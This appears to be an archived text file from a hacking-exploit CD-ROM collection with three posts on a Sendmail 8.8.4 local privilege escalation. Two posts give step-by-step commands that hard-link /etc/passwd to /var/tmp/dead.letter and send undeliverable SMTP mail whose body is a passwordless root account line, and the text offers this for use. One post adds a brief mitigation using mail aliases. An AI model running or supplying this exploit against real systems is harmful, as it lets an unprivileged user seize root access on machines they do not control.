home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / sndmail8.8.4.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  1.9 KB  |  61 lines

  1.  
  2.  
  3. Try this:
  4. Make hard link of /etc/passwd to /var/tmp/dead.letter
  5. Telnet to port 25, send mail from some bad email address to some unreacheable hoost.
  6. Watch your message get appended to passwd.
  7. ie:
  8. cowzilla::0:0:c0wz1ll4 0wns u:/:/bin/sh
  9.  
  10. This is not good.  Worked with my 8.8.4, will probably also work with 8.8.5
  11.  
  12. Root for the whole family
  13.  
  14. ==================================================================
  15.  
  16. okay, just want to point out some things about this exploit...
  17. this won't work on big boxes that are partitioned cause you can only do a
  18. hard link on the same file system.  another point is that any box that has
  19. a 'MAILER-DAEMON' defined will get any mail that gets sent there instead of it
  20. saving it to /var/tmp/dead.letter, ie, make an /etc/aliases file that defines
  21. a MAILER-DAEMON. for instance, i add these two to my /etc/aliases:
  22.  
  23. MAILER-DAEMON:gonzo
  24. postmaster:gonzo
  25.  
  26. then you just type 'newaliases' and you're good to go. (postmaster is a
  27. general good idea) course then you have to deal with ppl's messed up mail...
  28.  
  29.  
  30. ===================================================================
  31.  
  32. Here's a nice little sendmail exploit that works with 8.8.4 and maybe with
  33. 8.8.5.
  34. You need to have an account on the system you're exploiting.
  35. telnet to your shell and issue following commands:
  36.  
  37. ln /etc/passwd /var/tmp/dead.letter
  38. telnet target.host 25
  39. mail from: non@existent.host
  40. rcpt to: non@existent.host
  41. data
  42. kRad::0:0:J0oR dEaD:/root:/bin/bash
  43. .
  44. quit
  45.  
  46. The body of the message will be written into /etc/passwd and you've got a
  47. password-free root account.
  48.  
  49. Note that this will NOT work under any of the following circumstances:
  50.  
  51. 1. /var and / are different partitions.
  52.     You can't make a hardlink between different partitions.
  53. 2. There is a postmaster account or mail alias.
  54.     Mail problems are sent to postmaster before they go to
  55.     /var/tmp/dead.letter.    
  56. 3. /var/tmp doesn't exist or isn't publicly writable.
  57.     Duh.
  58. 4. Other situations?
  59.  
  60.  
  61.